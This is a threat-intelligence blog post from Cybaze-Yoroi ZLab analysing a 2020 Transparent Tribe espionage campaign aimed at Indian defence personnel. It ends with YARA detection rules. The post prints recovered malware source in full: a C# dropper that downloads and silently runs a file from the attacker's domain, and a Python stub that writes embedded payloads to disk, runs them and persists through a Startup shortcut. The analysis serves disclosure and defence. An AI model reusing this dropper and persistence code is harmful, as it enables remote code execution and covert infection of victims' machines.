Transparent Tribe: Four Years Later

Introduction

Operation Transparent Tribe was first spotted by Proofpoint Researchers in Feb 2016, in a series of espionages operations against Indian diplomats and military personnel in some embassies in Saudi Arabia and Kazakhstan. At that time, the researchers tracked the sources IP in Pakistan, the attacks were part of a wider operation that relies on multi vector such as watering hole websites and phishing email campaigns delivering custom RATs dubbed Crimson and Peppy. These RAT are capable of exfiltrate information, take screenshot and record webcam streams.

This threat actor has been vanished for a long period, and only the last month appeared another time probably for the actual tensions between two countries. We noticed that the TTP of the group are almost the same leveraging a weaponized document with a fake certificate of request of an Indian public fund. So, Cybaze-Yoroi ZLab team decided to dive deep into a technical analysis.

Technical Analysis

Hash662c3b181467a9d2f40a7b632a4b5fe5ddd201a528ba408badbf7b2375ee3553
ThreatNew Operation Transparent Tribe Campaign
Brief DescriptionMalicious macro document of the new Campaign of Transparent Tribe
Ssdeep24576:Nh2axIaansJlyJ1prFnFmbX3ti6iEIb+R9mSXH9tBUnTqHT:Nhfx4nsPyJ1ppnEX3UCICRhXHXe

Table 1. Static information about the malicious macro 

The document presents itself as a request for a DSOP FUND (Defence Services Officers Provident Fund). It is a fund where an officer compulsorily deposits some money to Govt on a monthly basis out of his wages / salary. 

The Found is a financial planning for defense personnel. The money is kept by the government and in return a “non-permanent” profit officially titled as “interest” is given back to the officers at the end of each year. The DSOP fund scheme has been setup as a “welfare measure” to the depositors while the wages remain barely meeting ends otherwise.

Self-Extracting Macro

Analyzing the content of the Excel file, we notice that the file contains all the necessary components to perform the infection:

The macro is not heavily obfuscated. The macro components are hidden as Hex or Decimal strings, which will be combined with each other to unleash the next stage of the infection.

Then it is possible to deobfuscate them.

The macro creates two folders inside %PROGRAMDATA% path, “systemidleperf” and “SppExtComTel”. 

Analyzing these files, we have a vbs script, a C# script and a zip file, inside this archive we found 4 PE artifacts:

The SilentCMD Module

The two dll are legit windows library and are used in support of the malicious behaviour. Instead, the “windproc.scr” and “windprocx.scr” files are the compiled version of the utility SilentCMD publicly available on GitHub. SilentCMD executes a batch file without opening the command prompt window. If required, the console output can be redirected to a log file.

The SilentCMD utility is used to execute the commands pushed from the C2, and all of them will be executed without showing anything to the user. However, as previously mentioned, it is curious to notice that the malware installs two different variants of the executable, with the only difference in timestamp:

The Real Time Module

The other extracted file is the “Realtime.cs” file, which is the source of a piece of code written in C#, and it is compiled and run during the execution of the macro. The code is very simple and it has the only purpose to download another component from the internet: 

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
namespace Realtime
{
    class Program
    {
        static void Main(string[] args)
        {
            
            WebClient wc = new WebClient();
            wc.DownloadFile("http://www.awsyscloud.com/x64i.scr", @"c:\\programdata\\systemidleperf\\x64i.scr");
            Process proc = new Process();
            proc.StartInfo.FileName = Convert.ToString(args[0]);
            proc.StartInfo.Arguments = "/c " + Convert.ToString(args[1]);
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.CreateNoWindow = false;
            proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            proc.Start();
            Environment.Exit(0);
            //Application.Exit();
            /* if (!proc.Start())
             {
                 //Console.WriteLine("Error starting");
                 return;
             }*/
            //proc.WaitForExit();
        }
    }
}

The code is really simple, it has the function of downloading the file “x64i.scr” from the dropurl “awsysclou[.com” and then saves it into the folder “c:\programdata\systemidleperf\”. The file is immediately executed through the C# primitives.

The X64i.scr File

Hash7b455b78698f03c0201b2617fe94c70eb89154568b80e0c9d2a871d648ed6665
ThreatNew Operation Transparent Tribe Campaign
Brief DescriptionPython stub malware of the new Campaign of Transparent Tribe
Ssdeep196608:jXm2jfTjEzWt7+eW3TAPHULULN3erOAjsjAbpSzZTfuHO0y7:Lm2jfTgWt65U4UL9eCDHzZfyG7
Icon

Table 2. Static information about the Pyhton Stub

The icon of the executable let us understand that the malware has been forged through the usage of the tool Pyinstaller. It is a tool that permits a user to create a complete self-contained executable starting from a python source code. However, the two main disadvantages of choosing this solution are the high footprint of the executable (reaching more than 7.5MB and this generates a lot of noise inside the system); and the easiness to reverse the executable to obtain the source code.

So, after the operation of reversing, the extracted code of the malware is the following:

from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform
import ctypes
import _winreg
import time
import os
import platform
import binascii
import _winreg
import subprocess
bitstream3 = "PAYLOAD_ONE"
bitstream4 = "PAYLOAD_TWO"
oses = os.name
systems = platform.system()
releases = platform.release()
architectures = platform.architecture()[0]
    
def main():
  try:
    runsameagain()
  except Exception as e:
      print str(e)
  
def runsameagain():
    global bitstream3
    binstr = bytearray(binascii.unhexlify(bitstream3))
    if not os.path.exists("c:\programdata\SppExtComTel"):
        os.makedirs("c:\programdata\SppExtComTel")
    WriteFile("c:\programdata\SppExtComTel\SppExtComTel.scr",binstr);
    bootup()
    subprocess.Popen(["c:\programdata\SppExtComTel\SppExtComTel.scr", '--brilliance'])
  
def rundifferentagain():
    global bitstream4
    binstr = bytearray(binascii.unhexlify(bitstream4))
    if not os.path.exists("c:\programdata\SppExtComTel"):
        os.makedirs("c:\programdata\SppExtComTel")
    WriteFile("c:\programdata\SppExtComTel\SppExtComTel.scr",binstr);
    bootup()
    subprocess.Popen(["c:\programdata\SppExtComTel\SppExtComTel.scr", '--brilliance'])
  
def Streamers():     
 try:                               
    rundifferentagain()
    return 1               
 except Exception as e:
    print str(e)
    
def WriteFile(filename,data):
    with open(filename,"wb") as output:
  output.write(data)
  
  
def bootup():
    try:
        from win32com.client import Dispatch
        from win32com.shell import shell,shellcon
  dpath = "c:\programdata\SppExtComTel"
        #print "before"
  Start_path = shell.SHGetFolderPath(0, shellcon.CSIDL_STARTUP, 0, 0)
  com_path = os.path.join(Start_path, "SppExtComTel.lnk")
  target = os.path.join(dpath,"SppExtComTel.scr")
  wDir = dpath
  icon = os.path.join(dpath, "SppExtComTel.scr")
  shell = Dispatch('WScript.Shell')
  shortcut = shell.CreateShortCut(com_path)
  shortcut.Targetpath = target
  shortcut.WorkingDirectory = wDir
  shortcut.IconLocation = icon
  shortcut.save()
        #print "there"
        #return True
    except Exception, e:
        print str(e)
    
if __name__ == "__main__":
  try:
      #print oses
      #print systems
      #print releases
      #print architectures
      if '.py' not in sys.argv[0]:
    #sys.exit()
                #print "nothign to do"
                if systems == 'Windows' and releases == "7":
                    main()
                elif systems == 'Windows' and (releases == "8.1" or releases == "8"):
                    Streamers()
                elif systems == 'Windows' and releases == "10":
                    #print "Please use a 64 bit version of python"
                    #print "entering streamers"
                    Streamers()
                else:
                    Streamers()
  except Exception as e:
    print str(e)

Code snippet 2 

The python code is very simple to analyze and to explain. The first operation is to declare two global variables, “bitstream3” and “bitstream4”. They are the hexadecimal representation of two PE files, that will be deepened in the next sections. These two files are chosen according to the Windows OS version, as visible at the bottom of the code.

After that, the script writes the desired payload into the folder “c:\programdata\SppExtComTel\” and immediately executed it with the parameter “–brilliance”. After that, the malware guarantees its persistence through the  creation of a LNK file inside the Startup folder.

The RAT

As previously stated, the malware payload is the core component of the malware implant. 

As shown in the above figure, the malware is written in .NET framework and the creation date back to 29 Jan 2020. It is the date of the beginning of the malware campaign, also demonstrated by the registration records of the C2. The malware consists of a modular implant that downloads other components from the C2.

The first operation is to provide to the C2 a list of the running processes on the victim machine: 

The method used to send the information to the C2 is the following:

Figure 11: C2 communication routine

After that, the malware loops in a cycle and waits for some commands coming from the C2:

Figure 12: Routine for the download of new modules

When the C2 sends some commands to instruct the bot, the malware downloads and executes other two components, which are two DLLs downloaded from the following URLs:

The first DLL, once executed, has been renamed in “indexerdervice.dll”. This executable has got a sophisticated encryption method of communication with the C2: 

When the C2 sends some commands to instruct the bot, the malware downloads and executes other two components, which are two DLLs downloaded from the following URLs:

The first DLL, once executed, has been renamed in “indexerdervice.dll”. This executable has got a sophisticated encryption method of communication with the C2: 

Figure 13: Evidence of the decrypting routine of the certificate

The above screen shows that the malware requests for an RSA key, which has to be validated by the highlighted text. If the check is positive, the malware can go on to its malicious actions, such as sending of information: 

Figure 14: Sending routine of the malware

The second malware module is a simple DLL having the purpose to download other components from the dropURL and then install it:

Figure 15: Evidence of the hard coded AES key

The downloaded code has been encrypted through the Rijndael algorithm with a hard coded key.

Conclusion

Transparent tribe is back with a new campaign after several years of (apparently) inactivity. We can confirm that this campaign is completely new, relying on the registration record of the C2 that dates back to 29 January 2020. The decoy document presents itself as a request for a DSOP FUND  (Defence Services Officers Provident Fund) a providence fund for official and military personnel, confirming the espionage and counterintelligence character of this campaign. 

At last, we have no certainty that this campaign has been inactive for 4 years, it may be that it acted quietly, but, now the cyber criminal group is back in view of today’s tensions between the two countries.

Indicators of Compromise

Yara Rules

rule TransparentTribe_Malicious_Macro_Jan_2020 {
    meta:
      description = "Yara rule for the Transparent Tribe Malicious Macro Jan_2020 "
      author = "Yoroi - ZLab"
      last_updated = "2020-02-21"
      tlp = "white"
      category = "informational"
    strings:
      $a1 = {8B 92 BC BE 87 95 BF BD 83}
      $a2 = {D6 8C C7 68 D5 8D C0 69 D4 8E}
	  $b1 = "161,36,31,130,137,165,44,167,244,55,198,100,241"
    condition:
      all of them
}

rule TransparentTribe_PythonStub_Jan_20 {
    meta:
      description = "Yara rule for the Transparent Tribe Python Stub Jan_2020 "
      author = "Yoroi - ZLab"
      last_updated = "2020-02-21"
      tlp = "white"
      category = "informational"
    strings:
      $a1 = {70 56 6B 77 86 FB D2 6D 2C}
      $a2 = {A2 43 F9 97 61 F4 E5 1F D7 02}
	  $b1 = "bpyexpat.pyd"
	  $b2 = "bmfc90u.dll"
	  
    condition:
      uint16(0) == 0x5A4D and all of them and filesize > 7MB
}

rule TransparentTribe_CrimsonRAT_Jan_20 {
    meta:
      description = "Yara rule for the Transparent Tribe CrimsonRAT Jan_2020 "
      author = "Yoroi - ZLab"
      last_updated = "2020-02-21"
      tlp = "white"
      category = "informational"
    strings:
      $a1 = {03 06 11 24 03 06 11 20 03}
      $a2 = {B0 3F 5F 7F 11 D5 0A 3A 04}
	  $b1 = "SppExtComTel"
	  
    condition:
      uint16(0) == 0x5A4D and all of them and filesize > 7MB
}

rule TransparentTribe_MaliciousDLLModule_Jan_20 {
    meta:
      description = "Yara rule for the Transparent Tribe CrimsonRAT Jan_2020 "
      author = "Yoroi - ZLab"
      last_updated = "2020-02-21"
      tlp = "white"
      category = "informational"
    strings:
      $a1 = {00 F1 01 8D 19 71 00 F1 01 7D 06 71}
      $a2 = {86 08 4E 03 57 00 59 00 CC}
	  $a3 = "6f6e6c79706172616e6f696473757276697665" ascii wide
  	  $a4 = "shemypolandar*kotlin" ascii wide
	  $b1 = "FC4302A8973108F7B86565D5A49182DED2B0BF31"
	  $b2 = "PrivateMemorySize64"
	  $b3 = "Hi0-78LoupIks2jMn" wide
    condition:
      uint16(0) == 0x5A4D and (all of ($a*) or all of ($b*)) 
}

This blog post was authored by Luigi Martire, Pietro Melillo and Antonio Pirozzi of Cybaze-Yoroi ZLAB